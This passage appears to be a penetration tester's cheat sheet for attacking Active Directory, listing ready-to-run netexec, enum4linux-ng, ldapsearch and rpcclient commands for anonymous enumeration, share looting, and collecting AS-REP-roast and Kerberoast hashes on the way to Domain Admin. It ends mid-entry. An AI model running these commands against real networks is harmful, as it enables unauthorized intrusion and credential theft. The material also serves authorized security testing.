tools-ad-pivotlisted

# tools-ad-pivot — AD attack, pivot & cracking arsenal Loads on domain-joined targets, or once you hold a foothold/creds and need to reach Domain Admin. Authorized, in-scope engagements only. Add the DC to `/etc/hosts` (`IP dc01.corp.local corp.local`) early — Kerberos needs the FQDN. ## Enumeration - **netexec / nxc (smb)** — the swiss-army first pass; null session, shares, users, policy. `nxc smb dc01.corp.local -u '' -p '' --shares --users --pass-pol` `-u '' -p ''` = null/anonymous auth; `--pass-pol` reveals the lockout threshold you must respect when spraying. Add `-M spider_plus` to loot readable shares. - **netexec (ldap)** — pull AS-REP-roastable and SPN users without touching Kerberos yet. `nxc ldap dc01.corp.local -u user -p pass --asreproast asrep.txt --kerberoasting kerb.txt` Also `--users --groups --password-not-required` for quick wins. - **enum4linux-ng** — modern rewrite of enum4linux; broad SMB/RPC/LDAP dump in one shot. `enum4linux-ng -A dc01.corp.local` — `-A` = all simple enumeration (users, groups, shares, pol). - **ldapsearch (anonymous)** — raw LDAP when null bind is allowed; great for descriptions (passwords hide there). `ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local"` `-x` = simple auth, `-b` = search base. Add `"(objectClass=user)" sAMAccountName description`. Gotcha: no base? grab it from `ldapsearch -x -H ldap://IP -s base namingContexts`. - **rpcclient** — interactive MS-RPC; enumerate users/groups when SMB null